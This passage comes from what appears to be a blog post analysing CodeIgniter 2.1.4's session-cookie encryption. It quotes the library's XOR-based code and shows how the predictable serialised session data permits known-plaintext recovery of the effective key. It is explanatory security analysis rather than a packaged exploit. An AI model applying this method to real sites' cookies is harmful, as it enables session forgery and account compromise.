&lt;li&gt;&lt;code&gt;$rand&lt;/code&gt; looks like &lt;code&gt;&amp;quot;RRRRRRR...&amp;quot;&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$string&lt;/code&gt; looks like &lt;code&gt;&amp;quot;xxxx&amp;quot;&lt;/code&gt;, then&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$enc&lt;/code&gt; will look like &lt;code&gt;&amp;quot;R*R*R*R*&amp;quot;&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;where &lt;code&gt;&#39;R&#39;&lt;/code&gt; ⊕ &lt;code&gt;&#39;x&#39;&lt;/code&gt; = &lt;code&gt;&#39;*&#39;&lt;/code&gt;.  We can XOR the pairs together to recover the plaintext.&lt;/p&gt;
&lt;p&gt;Of course, we haven’t even used the key material yet.  That’s entirely the domain of &lt;code&gt;_xor_merge&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_xor_merge&lt;/code&gt; is defined as a “key + string” combiner by the header doc.  Let’s see what that means.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;_xor_merge&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$hash&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;hash&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$str&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$str&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;^&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$hash&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$hash&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$str&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$key&lt;/code&gt; as passed into the function is the hexstring of the MD5 of &lt;code&gt;encryption_key&lt;/code&gt;.  We then produce the hexed SHA1 of &lt;em&gt;that&lt;/em&gt;, and perform a 1-to-1 XOR of &lt;code&gt;$string[$i]&lt;/code&gt; with &lt;code&gt;$hash[$i]&lt;/code&gt; for all &lt;code&gt;$i&lt;/code&gt;; the hash being a cycled 40 characters.  Remember that &lt;code&gt;$string&lt;/code&gt; here is &lt;code&gt;$enc&lt;/code&gt; above (&lt;code&gt;&amp;quot;R*R*R*R*&amp;quot;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It’s important to note that these 40 hexadecimal characters are all that’s left of the key material, and they’re applied in &lt;a href=&quot;https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29&quot;&gt;ECB mode&lt;/a&gt; (like Snapchat, &lt;a href=&quot;https://kivikakk.ee/2013/05/10/snapchat.html&quot;&gt;which I’ve written about&lt;/a&gt;).  The main implication of this is that later blocks aren’t affected by earlier blocks; if we correctly decrypt byte &lt;em&gt;k&lt;/em&gt; of the output, then we’ll also get every byte (&lt;em&gt;k&lt;/em&gt; + &lt;strong&gt;W&lt;/strong&gt;&lt;em&gt;n&lt;/em&gt;), where &lt;strong&gt;W&lt;/strong&gt; is the width of the block.&lt;/p&gt;
&lt;p&gt;Usually — using a strong block cipher mode — getting any part of a block wrong would ensure every subsequent block would be corrupted, as the plaintext output of the earlier blocks are fed into later ones.  Not so with ECB, which they’ve unwittingly used. (Though “used” seems to be a bit of a stretch here.)&lt;/p&gt;
&lt;p&gt;Call the hexed SHA1 key material &lt;code&gt;&amp;quot;kkkkkkk...&amp;quot;&lt;/code&gt;.  We XOR this with the &lt;code&gt;&amp;quot;R*R*R*R*&amp;quot;&lt;/code&gt; string, producing &lt;code&gt;&amp;quot;9A9A9A9A&amp;quot;&lt;/code&gt;.  This is the final output.&lt;/p&gt;
&lt;p&gt;Let’s review the entire process key material and plaintext takes to be encrypted, with some simplifications to make it readable in English:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A random SHA1 is produced (&lt;code&gt;&amp;quot;RRRRRRR...&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;We interleave characters of the plaintext (&lt;code&gt;&amp;quot;xxxx&amp;quot;&lt;/code&gt;) with the random data, XORing each plaintext byte against the respective random byte (&lt;code&gt;&amp;quot;R*R*R*R*&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;We take the SHA1 of the MD5 of the key (&lt;code&gt;&amp;quot;kkkkkkk...&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;We bytewise XOR this SHA1 against each byte of the plaintext–random pairs (&lt;code&gt;&amp;quot;9A9A9A9A&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To recover the first byte of plaintext, then, looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take the first two bytes of the ciphertext (&lt;code&gt;&amp;quot;9A&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Take the SHA1 of the MD5 of the key (&lt;code&gt;&amp;quot;kkkkkkk...&amp;quot;)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;XOR the ciphertext bytewise with the SHA1 (&lt;code&gt;&amp;quot;R*&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;XOR the resulting pair of bytes (&lt;code&gt;&amp;quot;x&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note that the key material is only ever used in SHA1(MD5(&lt;em&gt;key&lt;/em&gt;)) form.  For our purposes, then, we only need to know the resulting SHA1; the source key doesn’t matter.  To put it more clearly, we only need to recover the SHA1 output itself to break the effective key.&lt;/p&gt;
&lt;p&gt;Looking at the above list of steps, we note that the SHA1 is only involved in the 3rd step; and moreover, this being a hexed SHA1, there’s only 8 bits of entropy across the two bytes, each byte taking 16 values.&lt;/p&gt;
&lt;p&gt;(If you do the math, there’s actually only 6 bits; in the ASCII values of “0” through “9” and “a” through “f” bits 6 (always on) and 8 (always off) don’t change.)&lt;/p&gt;
&lt;p&gt;XORs commute and associate, so we can be lazy and define the plaintext byte &lt;em&gt;i&lt;/em&gt; as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;p&lt;/em&gt;[&lt;em&gt;i&lt;/em&gt;] = &lt;em&gt;c&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt;] ^ &lt;em&gt;c&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt;+1] ^ &lt;em&gt;k&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt; mod 40] ^ &lt;em&gt;k&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt;+1 mod 40]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is very straight forward.  Simplicity is often a nice thing in crypto, but this is the wrong kind of simple.&lt;/p&gt;
&lt;p&gt;Let’s say we &lt;em&gt;already know&lt;/em&gt; &lt;em&gt;p&lt;/em&gt;[&lt;em&gt;i&lt;/em&gt;] for some &lt;em&gt;i&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Knowing all of &lt;em&gt;c&lt;/em&gt;, this tells us something about &lt;em&gt;k&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt; mod 40] and &lt;em&gt;k&lt;/em&gt;[2&lt;em&gt;i&lt;/em&gt;+1 mod 40].  Because there are some serious value restrictions on elements of &lt;em&gt;k&lt;/em&gt; (being that there are only 16 possible values for a given element and not 256 like there should be), this lets us piece together &lt;em&gt;k&lt;/em&gt; quite neatly, and thus all the elements of &lt;em&gt;p&lt;/em&gt; we don’t know.&lt;/p&gt;
&lt;h3&gt;do we know the plaintext?&lt;/h3&gt;
&lt;p&gt;Do we know any &lt;em&gt;p&lt;/em&gt;[&lt;em&gt;i&lt;/em&gt;]?  Well, what’s the plaintext?  &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Session.php#L645-L676&quot;&gt;Session.php reveals all&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;_serialize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;…&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;CI&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;…&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;setcookie&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sess_cookie_name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$expire&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;cookie_path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;cookie_domain&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;cookie_secure&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_serialize&lt;/code&gt; massages the data in a way we can ignore for our purposes before passing it through to PHP’s own &lt;a href=&quot;http://php.net/serialize&quot;&gt;serialize&lt;/a&gt;.  So the session data is pure PHP serialised data.  What does this look like?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Session.php#L264-L273&quot;&gt;Go up to &lt;code&gt;sess_write&lt;/code&gt;&lt;/a&gt;; you’ll see &lt;code&gt;$cookie_userdata&lt;/code&gt; is an array, which has keys set in a particular order: &lt;code&gt;&#39;session_id&#39;&lt;/code&gt;, &lt;code&gt;&#39;ip_address&#39;&lt;/code&gt;, &lt;code&gt;&#39;user_agent&#39;&lt;/code&gt;, &lt;code&gt;&#39;last_activity&#39;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s important to know that PHP arrays are both associative &lt;em&gt;and&lt;/em&gt; ordered!  The same datatype is used for both key–value dictionaries as well as integer-indexed arrays.  This means order is present &lt;em&gt;and&lt;/em&gt; preserved in &lt;code&gt;$cookie_userdata&lt;/code&gt;, and this remains true for the serialised form.&lt;/p&gt;
&lt;p&gt;If we fake our own &lt;code&gt;$cookie_userdata&lt;/code&gt; in PHP and then serialise it, what would it look like?  Here’s an example:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;serialize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Session.php:317 shows that session IDs are hexed MD5, so always 32 chars&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;session_id&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;1234567890abcdef1234567890abcdef&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;ip_address&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;0.0.0.0&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;user_agent&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;welp/1.0&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;last_activity&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1455953571&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s the output:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;a&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;session_id&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;&lt;span style=&quot;color: #fab387;&quot;&gt;1234567890&lt;/span&gt;abcdef1234567890abcdef&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;ip_address&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;&lt;span style=&quot;color: #fab387;&quot;&gt;0.0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0.0&lt;/span&gt;&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;user_agent&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;welp&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1.0&lt;/span&gt;&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;s&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&amp;quot;last_activity&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;i&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1455953571&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The format is pretty simple to glean from this. Excuse my pseudo-not-even-BNF:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;object&lt;/em&gt; = &lt;em&gt;array&lt;/em&gt; | &lt;em&gt;string&lt;/em&gt; | &lt;em&gt;integer&lt;/em&gt;&lt;/li&gt;
